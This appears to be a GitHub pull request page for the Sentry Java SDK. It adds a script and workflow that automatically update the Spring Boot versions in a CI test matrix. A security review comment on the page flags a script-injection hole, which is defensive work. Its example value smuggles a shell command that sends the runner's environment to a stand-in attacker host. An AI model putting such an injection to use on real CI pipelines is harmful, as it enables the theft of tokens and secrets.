Auto update Test Matrix for Spring Boot#4743
Conversation
Performance metrics 🚀
|
| Revision | Plain | With Sentry | Diff |
|---|---|---|---|
| a5ab36f | 316.83 ms | 394.54 ms | 77.71 ms |
| e63ad34 | 336.55 ms | 406.79 ms | 70.23 ms |
| ad8da22 | 362.98 ms | 453.94 ms | 90.96 ms |
| 70118e9 | 380.00 ms | 475.72 ms | 95.72 ms |
| 2124a46 | 319.19 ms | 415.04 ms | 95.85 ms |
| b3d8889 | 371.84 ms | 447.49 ms | 75.65 ms |
| cf708bd | 434.73 ms | 502.96 ms | 68.22 ms |
| ab8a72d | 316.24 ms | 356.38 ms | 40.14 ms |
| d5a29b6 | 298.62 ms | 391.78 ms | 93.16 ms |
| d15471f | 379.40 ms | 470.76 ms | 91.36 ms |
App size
| Revision | Plain | With Sentry | Diff |
|---|---|---|---|
| a5ab36f | 1.58 MiB | 2.12 MiB | 555.26 KiB |
| e63ad34 | 0 B | 0 B | 0 B |
| ad8da22 | 1.58 MiB | 2.29 MiB | 719.83 KiB |
| 70118e9 | 1.58 MiB | 2.29 MiB | 719.84 KiB |
| 2124a46 | 1.58 MiB | 2.12 MiB | 551.51 KiB |
| b3d8889 | 1.58 MiB | 2.10 MiB | 535.07 KiB |
| cf708bd | 1.58 MiB | 2.11 MiB | 539.71 KiB |
| ab8a72d | 1.58 MiB | 2.12 MiB | 551.55 KiB |
| d5a29b6 | 1.58 MiB | 2.12 MiB | 549.37 KiB |
| d15471f | 1.58 MiB | 2.13 MiB | 559.54 KiB |
| cat << 'EOF' > update_versions.py | ||
| import json | ||
| import os | ||
| import re | ||
| import requests | ||
| from packaging import version | ||
| import sys | ||
| from pathlib import Path | ||
|
|
||
| def get_spring_boot_versions(): | ||
| """Fetch all Spring Boot versions from Maven Central with retry logic""" | ||
|
|
||
| max_retries = 3 | ||
| timeout = 60 | ||
|
|
||
| for attempt in range(max_retries): | ||
| try: | ||
| print(f"Fetching versions (attempt {attempt + 1}/{max_retries})...") | ||
|
|
||
| # Try the Maven Central REST API first | ||
| rest_url = "https://repo1.maven.org/maven2/org/springframework/boot/spring-boot/maven-metadata.xml" | ||
| response = requests.get(rest_url, timeout=timeout) | ||
|
|
||
| if response.status_code == 200: | ||
| print("Using Maven metadata XML approach...") | ||
| # Parse XML to extract versions | ||
| import xml.etree.ElementTree as ET | ||
| root = ET.fromstring(response.text) | ||
| versions = [] | ||
| versioning = root.find('versioning') | ||
| if versioning is not None: | ||
| versions_element = versioning.find('versions') | ||
| if versions_element is not None: | ||
| for version_elem in versions_element.findall('version'): | ||
| v = version_elem.text | ||
| if v and not any(suffix in v for suffix in ['SNAPSHOT', 'RC', 'BUILD', 'RELEASE']): | ||
| # Only include versions that start with a digit and use standard format | ||
| if v and v[0].isdigit() and v.count('.') >= 2: | ||
| versions.append(v) | ||
|
|
||
| if versions: | ||
| print(f"Found {len(versions)} versions via XML") | ||
| print(f"Sample versions: {versions[-10:] if len(versions) > 10 else versions}") | ||
| # Filter out any versions that still can't be parsed | ||
| valid_versions = [] | ||
| for v in versions: | ||
| try: | ||
| version.parse(v) | ||
| valid_versions.append(v) | ||
| except Exception as e: | ||
| print(f"Skipping invalid version format: {v}") | ||
| print(f"Filtered to {len(valid_versions)} valid versions") | ||
| return sorted(valid_versions, key=version.parse) | ||
|
|
||
| # Fallback to search API | ||
| print("Trying search API fallback...") | ||
| search_url = "https://search.maven.org/solrsearch/select" | ||
| params = { | ||
| "q": "g:\"org.springframework.boot\" AND a:\"spring-boot\"", | ||
| "core": "gav", | ||
| "rows": 1000, | ||
| "wt": "json" | ||
| } | ||
|
|
||
| response = requests.get(search_url, params=params, timeout=timeout) | ||
| response.raise_for_status() | ||
| data = response.json() | ||
|
|
||
| if 'response' not in data or 'docs' not in data['response']: | ||
| raise Exception(f"Unexpected API response structure") | ||
|
|
||
| docs = data['response']['docs'] | ||
| print(f"Found {len(docs)} documents in search response") | ||
|
|
||
| if docs and len(docs) > 0: | ||
| print(f"Sample doc structure: {list(docs[0].keys())}") | ||
|
|
||
| versions = [] | ||
| for doc in docs: | ||
| version_field = doc.get('v') or doc.get('version') | ||
| if (version_field and | ||
| not any(suffix in version_field for suffix in ['SNAPSHOT', 'RC', 'BUILD', 'RELEASE']) and | ||
| version_field[0].isdigit() and version_field.count('.') >= 2): | ||
| versions.append(version_field) | ||
|
|
||
| if versions: | ||
| # Filter out any versions that still can't be parsed | ||
| valid_versions = [] | ||
| for v in versions: | ||
| try: | ||
| version.parse(v) | ||
| valid_versions.append(v) | ||
| except Exception as e: | ||
| print(f"Skipping invalid version format: {v}") | ||
| print(f"Successfully fetched {len(valid_versions)} valid versions via search API") | ||
| return sorted(valid_versions, key=version.parse) | ||
|
|
||
| except Exception as e: | ||
| print(f"Attempt {attempt + 1} failed: {e}") | ||
| if attempt < max_retries - 1: | ||
| print("Retrying...") | ||
| continue | ||
|
|
||
| print("All attempts failed") | ||
| return [] | ||
|
|
||
| def parse_current_versions(json_file): | ||
| """Parse current Spring Boot versions from JSON data file""" | ||
| if not Path(json_file).exists(): | ||
| return [] | ||
|
|
||
| try: | ||
| with open(json_file, 'r') as f: | ||
| data = json.load(f) | ||
| return data.get('versions', []) | ||
| except Exception as e: | ||
| print(f"Error reading {json_file}: {e}") | ||
| return [] | ||
|
|
||
| def get_latest_patch(all_versions, minor_version): | ||
| """Get the latest patch version for a given minor version""" | ||
| target_minor = '.'.join(minor_version.split('.')[:2]) | ||
| patches = [v for v in all_versions if v.startswith(target_minor + '.')] | ||
| return max(patches, key=version.parse) if patches else minor_version | ||
|
|
||
| def update_version_matrix(current_versions, all_versions, major_version): | ||
| """Update version matrix based on available versions""" | ||
| if not current_versions or not all_versions: | ||
| return current_versions, False | ||
|
|
||
| # Filter versions for this major version | ||
| major_versions = [v for v in all_versions if v.startswith(f"{major_version}.")] | ||
| if not major_versions: | ||
| return current_versions, False | ||
|
|
||
| updated_versions = [] | ||
| changes_made = False | ||
|
|
||
| # Always keep the minimum supported version (first version) | ||
| min_version = current_versions[0] | ||
| updated_versions.append(min_version) | ||
|
|
||
| # Update patch versions for existing minor versions | ||
| for curr_version in current_versions[1:]: # Skip min version | ||
| if any(suffix in curr_version for suffix in ['M', 'RC', 'SNAPSHOT']): | ||
| # Keep milestone/RC versions as-is for pre-release majors | ||
| updated_versions.append(curr_version) | ||
| continue | ||
|
|
||
| latest_patch = get_latest_patch(major_versions, curr_version) | ||
| if latest_patch != curr_version: | ||
| print(f"Updating {curr_version} -> {latest_patch}") | ||
| changes_made = True | ||
| updated_versions.append(latest_patch) | ||
|
|
||
| # Check for new minor versions | ||
| current_minors = set() | ||
| for v in current_versions: | ||
| if not any(suffix in v for suffix in ['M', 'RC', 'SNAPSHOT']): | ||
| current_minors.add('.'.join(v.split('.')[:2])) | ||
|
|
||
| available_minors = set() | ||
| for v in major_versions: | ||
| if not any(suffix in v for suffix in ['M', 'RC', 'SNAPSHOT']): | ||
| available_minors.add('.'.join(v.split('.')[:2])) | ||
|
|
||
| new_minors = available_minors - current_minors | ||
| if new_minors: | ||
| # Add latest patch of new minor versions | ||
| for new_minor in sorted(new_minors, key=version.parse): | ||
| latest_patch = get_latest_patch(major_versions, new_minor + '.0') | ||
| updated_versions.append(latest_patch) | ||
| print(f"Adding new minor version: {latest_patch}") | ||
| changes_made = True | ||
|
|
||
| # Remove second oldest minor (but keep absolute minimum) | ||
| if len(updated_versions) > 7: # If we have more than 7 versions | ||
| # Sort by version, keep min version and remove second oldest | ||
| sorted_versions = sorted(updated_versions, key=version.parse) | ||
| min_version = sorted_versions[0] | ||
| other_versions = sorted_versions[1:] | ||
|
|
||
| # Keep all but the oldest of the "other" versions | ||
| if len(other_versions) > 6: | ||
| updated_versions = [min_version] + other_versions[1:] | ||
| print(f"Removed second oldest version: {other_versions[0]}") | ||
| changes_made = True | ||
|
|
||
| # Sort final versions and remove duplicates | ||
| min_version = updated_versions[0] | ||
| other_versions = sorted([v for v in updated_versions if v != min_version], key=version.parse) | ||
| final_versions = [min_version] + other_versions | ||
|
|
||
| # Remove duplicates while preserving order | ||
| seen = set() | ||
| deduplicated_versions = [] | ||
| for v in final_versions: | ||
| if v not in seen: | ||
| seen.add(v) | ||
| deduplicated_versions.append(v) | ||
|
|
||
| if len(deduplicated_versions) != len(final_versions): | ||
| print(f"Removed {len(final_versions) - len(deduplicated_versions)} duplicate versions") | ||
|
|
||
| return deduplicated_versions, changes_made | ||
|
|
||
| def update_json_file(json_file, new_versions): | ||
| """Update the JSON data file with new versions""" | ||
| try: | ||
| # Write new versions to JSON file with consistent formatting | ||
| data = {"versions": new_versions} | ||
| with open(json_file, 'w') as f: | ||
| json.dump(data, f, indent=2, separators=(',', ': ')) | ||
| f.write('\n') # Add trailing newline | ||
| return True | ||
| except Exception as e: | ||
| print(f"Error writing to {json_file}: {e}") | ||
| return False | ||
|
|
||
| def main(): | ||
| print("Fetching Spring Boot versions...") | ||
| all_versions = get_spring_boot_versions() | ||
|
|
||
| if not all_versions: | ||
| print("No versions found, exiting") | ||
| sys.exit(1) | ||
|
|
||
| print(f"Found {len(all_versions)} versions") | ||
|
|
||
| data_files = [ | ||
| (".github/data/spring-boot-2-versions.json", "2"), | ||
| (".github/data/spring-boot-3-versions.json", "3"), | ||
| (".github/data/spring-boot-4-versions.json", "4") | ||
| ] | ||
|
|
||
| changes_made = False | ||
| change_summary = [] | ||
|
|
||
| for json_file, major_version in data_files: | ||
| if not Path(json_file).exists(): | ||
| continue | ||
|
|
||
| print(f"\nProcessing {json_file} (Spring Boot {major_version}.x)") | ||
|
|
||
| current_versions = parse_current_versions(json_file) | ||
| if not current_versions: | ||
| continue | ||
|
|
||
| print(f"Current versions: {current_versions}") | ||
|
|
||
| new_versions, file_changed = update_version_matrix(current_versions, all_versions, major_version) | ||
|
|
||
| if file_changed: | ||
| print(f"New versions: {new_versions}") | ||
| if update_json_file(json_file, new_versions): | ||
| changes_made = True | ||
| change_summary.append(f"Spring Boot {major_version}.x: {' -> '.join([str(current_versions), str(new_versions)])}") | ||
| else: | ||
| print("No changes needed") | ||
|
|
||
| if changes_made: | ||
| print(f"\nChanges made to Spring Boot version files:") | ||
| for change in change_summary: | ||
| print(f" - {change}") | ||
|
|
||
| # Write summary for GitHub output | ||
| with open('version_changes.txt', 'w') as f: | ||
| f.write('\n'.join(change_summary)) | ||
|
|
||
| # Set GitHub output for use in PR description | ||
| with open(os.environ.get('GITHUB_OUTPUT', '/dev/null'), 'a') as f: | ||
| f.write(f"changes_summary<<EOF\n") | ||
| f.write('\n'.join(change_summary)) | ||
| f.write(f"\nEOF\n") | ||
| else: | ||
| print("\nNo version updates needed") | ||
|
|
||
| sys.exit(0 if changes_made else 1) | ||
|
|
||
| if __name__ == "__main__": | ||
| main() | ||
| EOF |
| # Run every Monday at 9:00 AM UTC | ||
| - cron: '0 9 * * 1' | ||
| workflow_dispatch: # Allow manual triggering | ||
| pull_request: # remove this before merging |
Move the Spring Boot version update logic out of the workflow and into a reusable script. Keep the workflow responsible for installing dependencies and invoking the script. Co-Authored-By: Claude <noreply@anthropic.com>
|
|
||
| - name: Create Pull Request | ||
| if: steps.changes.outputs.has_changes == 'true' | ||
| uses: peter-evans/create-pull-request@v7 |
There was a problem hiding this comment.
- 🚫 Please pin the action by specifying a commit SHA instead of a tag/branch.
📲 Install BuildsAndroid
|
| uses: actions/checkout@v5 | ||
| - name: Set matrix data | ||
| id: set-matrix | ||
| run: echo "matrix=$(cat .github/data/spring-boot-4-versions.json | jq -c .versions)" >> $GITHUB_OUTPUT | ||
|
|
||
| spring-boot-4-matrix: | ||
| needs: load-versions | ||
| timeout-minutes: 45 | ||
| runs-on: ubuntu-latest | ||
| strategy: | ||
| fail-fast: false | ||
| matrix: | ||
| springboot-version: [ '4.0.0', '4.0.5' ] | ||
| springboot-version: ${{ fromJSON(needs.load-versions.outputs.matrix) }} | ||
|
|
||
| name: Spring Boot ${{ matrix.springboot-version }} | ||
| env: |
There was a problem hiding this comment.
PR-controlled JSON version file flows into shell run: step via matrix expression, enabling command injection
.github/data/spring-boot-3-versions.json (modifiable in a PR) is read by the load-versions job and passed into the matrix; the Update Spring Boot 3.x version step then expands ${{ matrix.springboot-version }} directly inside a run: block. A crafted value such as 3.4.1"; curl https://attacker/$(env | base64) # becomes injected shell on the runner. Move the value to an env: variable (e.g. SPRINGBOOT_VERSION: ${{ matrix.springboot-version }}) and reference $SPRINGBOOT_VERSION instead. The identical pattern exists in spring-boot-2-matrix.yml and spring-boot-4-matrix.yml.
Evidence
.github/workflows/spring-boot-3-matrix.ymlline 24:load-versionschecks out the PR ref (actions/checkout@v5with no override) and pipes.github/data/spring-boot-3-versions.jsondirectly throughjq -c .versionsinto$GITHUB_OUTPUT; PR authors can change that JSON in this PR (spring-boot-3-versions.jsonis in the diff).- Line 36 feeds the unvalidated values into the matrix via
fromJSON(needs.load-versions.outputs.matrix). - The
Update Spring Boot 3.x versionstep (~line 78) interpolatesspringboot_version="${{ matrix.springboot-version }}"inside arun:script, so GitHub expands the expression into shell before execution — classic script injection. - Trigger is
pull_request(notpull_request_target), so fork PRs run without secrets and with a read-onlyGITHUB_TOKEN; impact is bounded to arbitrary code on the runner, PR-scoped cache poisoning, and abuse of the runner. For same-repo branch PRs the job-levelGRADLE_ENCRYPTION_KEYandCODECOV_TOKENare present and exfiltratable, but only collaborators can open such PRs. - No allowlist or regex validation is applied between the JSON file content and the shell expansion.
Also found at 1 additional location
.github/workflows/spring-boot-2-matrix.yml:39
Identified by Warden security-review · JNS-EE5
#skip-changelog
📜 Description
Auto update Test Matrix for Spring Boot
💡 Motivation and Context
So we can test against newly released versions automatically and not rely on customers reporting issues.
💚 How did you test it?
📝 Checklist
sendDefaultPIIis enabled.🔮 Next steps